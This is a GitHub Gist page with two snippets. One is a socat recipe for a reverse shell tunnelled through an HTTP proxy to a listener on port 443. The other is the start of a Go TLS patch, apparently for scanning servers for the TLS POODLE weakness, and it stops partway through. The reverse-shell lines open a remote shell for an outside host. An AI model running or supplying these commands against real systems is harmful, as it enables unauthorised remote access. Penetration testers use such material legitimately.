Skip to content

Instantly share code, notes, and snippets.

View drwetter's full-sized avatar

Dirk Wetter drwetter

View GitHub Profile
# Listener on x.x.x.x:443:
socat file:`tty`,raw,echo=0 tcp-listen:443
# Reverse shell proxy server is at 10.10.10.1:8222:
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 &
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x"
@singe
singe / poodle-tls-go.patch
Last active May 17, 2016 16:37
A scanner for new POODLE (affecting TLS versions). These are mods to Adam Langley's (@agl__) work.
diff -r f60b128afd41 src/crypto/tls/common.go
--- a/src/crypto/tls/common.go Tue Nov 04 10:20:35 2014 -0800
+++ b/src/crypto/tls/common.go Mon Dec 08 14:56:25 2014 -0800
@@ -343,6 +343,8 @@
// be used.
CurvePreferences []CurveID
+ BreakCBCPadding bool
+
serverInitOnce sync.Once // guards calling (*Config).serverInit